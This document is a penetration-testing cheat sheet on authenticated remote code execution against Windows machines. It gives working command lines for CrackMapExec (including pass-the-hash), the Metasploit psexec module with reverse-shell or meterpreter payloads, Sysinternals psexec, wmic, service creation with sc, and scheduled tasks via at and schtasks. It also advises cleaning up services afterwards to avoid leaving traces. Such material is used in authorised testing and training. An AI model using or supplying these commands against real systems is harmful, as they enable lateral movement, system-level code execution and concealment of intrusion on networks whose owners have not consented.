Authenticated RCE

Remote code execution using legitimate credentials.

Automated Tools


The awesome CrackMapExec tool allows remote code execution through an SMB session just like PsExec.

crackmapexec <HOST/CIDR> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -x <CMD>

Use -H [NTHASH] instead of -p [PASSWORD] to authenticate using the pass-the-hash technique.

Use a capital -X to execute a PowerShell command instead.


Use the exploit/windows/smb/psexec module which: write an executable into the target file system, creates a service with a pseudorandom name, runs the payload with local SYSTEM privileges, and then automatically removes the executable and service, cleaning up after itself.

use exploit/windows/smb/psexec
set SMBDomain <DOMAIN>
set payload <meterpreter/reverse shell/cmd>
run -j

The SMBPass parameter also supports using a hash instead of a password.


From an already compromised machine running meterpreter, use the schtasksabuse command to automate the manual schtasks process to execute commands on another remote machine using the current Meterpreter credentials.

run schtasksabuse -c "[command1] [,command2]" -t [targetIP]

Note that [command1] will be ran immediately, while additional commands are being executed with a 2 seconds delay between each others.


SysInternal psexec has two limitations:

  • it sends credentials in cleartext across the wire
  • it leaves behind a psexec service after the first successful execution

Thus, always create a valid SMB session prior to running psexec without specifying any credentials and clear the psexec service once you’re finished.

psexec \\[computer] [command]
Option Description
-d Runs the command detached, i.e. in the background, without any interaction with stdin and stdout
-s Runs the command with local SYSTEM privileges

Manual Process

wmic /node:[targetIP] /user:[admin_user] /password:[password] process call create [command]

If you leave off the /user and /password, it will pass through the existing user’s credentials (see SMB Sessions).

Replace [targetIP] by @[filename] to run [command] on every IP listed in the file.


Use the Service Controller to define our executable as a new service and then start it. As always, start by establishing an SMB session with the remote machine, then create an on-demand service and start it.

sc \\[targetIP] create [service_name] binpath= "cmd.exe /k [command]"

Do not forget to clean up your service when you finish.

sc \\[targetIP] delete [service_name]

As our [command] is not a real Windows service, it will not perform the required API call to tell Windows it has successfully started. Resulting in the command being terminated after 30 seconds. That’s the reason why we need to call cmd.exe /k before the desired command. Using this trick, the cmd.exe will be terminated but not its child process. Another workaround would be to wrap our command or executable in a real Windows service. Check out ServifyThis free tool or the exe-service payload format of msfvenom.

schtasks and at

This process creates a service on the remote target in the very near future that executes a command.

1. Establish an SMB session:

net use \\[targetIP] /u:[admin_user]

2. Verify that the Schedule service is running and start it if not:

sc \\[targetIP] query schedule
sc \\[targetIP] start schedule

3. Check the current local time on the target machine:

net time \\[targetIP]

4. Schedule the job:

at \\[targetIP] [HH:MM] [A|P] [command]
schtasks /create /tn [taskname] /s [targetIP] /u [user] /p [password] /sc [frequency] /st [HH:MM:SS] /sd [startdate] /tr [command]

5. Verify the job status:

at \\[targetIP]
schtasks /query /s [targetIP]